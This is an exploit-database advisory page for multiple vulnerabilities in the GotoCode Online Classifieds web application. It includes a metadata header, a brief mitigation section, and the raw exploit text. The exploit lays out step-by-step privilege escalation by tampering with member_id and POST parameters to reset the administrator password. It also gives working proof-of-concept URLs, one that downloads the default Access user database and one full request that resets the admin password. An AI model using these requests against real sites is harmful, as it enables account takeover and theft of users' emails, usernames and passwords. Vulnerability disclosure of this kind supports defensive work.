GotoCode Online Classifieds Multiple Vulnerabilities

vendor:

Online Classifieds

by:

Nathaniel Carew

7.5

CVSS

HIGH

Privilege Escalation / Remote Database Download

N/A

CWE

Product Name: Online Classifieds

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: MS Windows Server Standard 2003 SP2 / IIS 6

2011

GotoCode Online Classifieds Multiple Vulnerabilities

If the application is configured using the default directory structure and an access database then a user can download the access database. First reset your own password via the 'Registration' link. This now takes you to a new page where you can select the 'Edit my info' link. Change the above GET URI to member_id=1& and refresh. Now by modifying the following variables in the POST data you can reset the admin password with the password you entered into the appropriate field to gain full admin rights to the web application.

Mitigation:

Ensure that the application is not configured using the default directory structure and an access database. Ensure that the admin password is not reset using the POST data.

Source

Exploit-DB raw data:

###############################################################################
# Exploit Title : GotoCode Online Classifieds Multiple Vulnerabilities
# Vulnerability : Privilege Escalation / Remote Database Download
# Date      : 09/10/2011
# Author    : Nathaniel Carew
# Email     : njcarew@gmail.com
# Impact    : High
# Software Link : http://www.gotocode.com/apps.asp?app_id=5&
# Platform  : ASP.NET
# Tested on : MS Windows Server Standard 2003 SP2 / IIS 6
# Thanks    : Peregrinus & Birch Meister General
###############################################################################
  
Overview:
---------
Database:
If the application is configured using the default directory structure and an
access database then a user can download the access database.
 
Privilege Escalation:
First reset your own password via the 'Registration' link:
http://localhost/[path]/Registration.aspx
This now takes you to a new page where you can select the 'Edit my info' link:
http://localhost/[path]/MyInfo.aspx?member_id=10&
Change the above GET URI to member_id=1& and refresh

Now by modifying the following variables in the POST data you can reset the admin password
with the password you entered into the appropriate field to gain full admin rights to the web application:

p_Record_member_id=1
Record_member_id=1
Record_name=admin
Record_member_password=newpass
  
Proof of Concept:
-----------------
http://localhost/[path]/Classifieds_MSAccess.mdb
http://localhost/[path]/MyInfo.aspx?p_Record_member_id=1&Record_member_id=1&Record_name=admin&Record_member_password=newpass&Record_email=moo&Record_location=&Record_home_phone=&Record_work_phone=
  
Impact:
-------
By resetting the admin password an attacker would be able to completely control the application, users
and their associated data. Successful database exploitation would allow an attacker to download the complete
database of users information including email addresses usernames, passwords and associated classified listed data.